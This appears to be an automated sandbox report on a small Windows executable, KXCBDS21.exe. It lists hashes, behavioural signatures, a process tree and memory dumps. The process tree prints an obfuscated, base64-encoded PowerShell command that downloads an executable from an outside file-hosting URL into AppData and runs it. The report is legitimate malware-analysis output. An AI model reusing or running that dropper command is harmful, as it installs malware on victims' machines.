Analysis
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max time kernel
147s -
max time network
166s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
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submitted
06-12-2022 07:15
General
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Target
KXCBDS21.exe
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Size
6KB
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MD5
6645e5ca45fe6a10f0b8074e6eb9446d
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SHA1
55f764b18942e6ec6ae6c8b98cf2cf465cec3d28
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SHA256
c4a7879913019bb57160451e088ea2cd02386406204af973201ce7ac507c186c
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SHA512
75310173106c1be9adbd374de49408d96dd024fd7c853195f35bfe8bbf4cf12c0b2be2af3c388dfe35c1f083140a1716b1221772911a2af69cc7166be19163d0
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SSDEEP
96:MmvzgD79ClVCFjoYD9uJLNjNTyAYxsNvk+W+jD1TIoDcW33jJWw3d3ojXrl:MmU9CKFrDsNjNLYuvkkeW33jJWed8
Score
8/10
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\KXCBDS21.exe"C:\Users\Admin\AppData\Local\Temp\KXCBDS21.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAZQBnACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAA5ADQAMQAwADIAMQA3ADQAMgAwADUAMwAzADgAMgAwAC8AMQAwADQAOQA0ADEANwA1ADQANAA5ADQAMAA5ADMAMwAxADUAMAAvAGwAYwBvAG0AcABsAGMAbQBwAG8ALgBlAHgAZQAnACwAIAA8ACMAdQBhAGkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBzAG4AagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHAAaAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBKAEQAUwBEAFMANAAuAGUAeABlACcAKQApADwAIwB3AHAAeAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAG4AawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBkAGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASgBEAFMARABTADQALgBlAHgAZQAnACkAPAAjAGUAYgBoACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/560-56-0x0000000000000000-mapping.dmp
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memory/560-58-0x000007FEF3900000-0x000007FEF4323000-memory.dmpFilesize
10.1MB
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memory/560-60-0x00000000022D4000-0x00000000022D7000-memory.dmpFilesize
12KB
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memory/560-59-0x000007FEF2DA0000-0x000007FEF38FD000-memory.dmpFilesize
11.4MB
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memory/560-61-0x00000000022DB000-0x00000000022FA000-memory.dmpFilesize
124KB
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memory/560-62-0x00000000022D4000-0x00000000022D7000-memory.dmpFilesize
12KB
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memory/1476-54-0x0000000000380000-0x0000000000388000-memory.dmpFilesize
32KB
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memory/1476-55-0x000007FEFC101000-0x000007FEFC103000-memory.dmpFilesize
8KB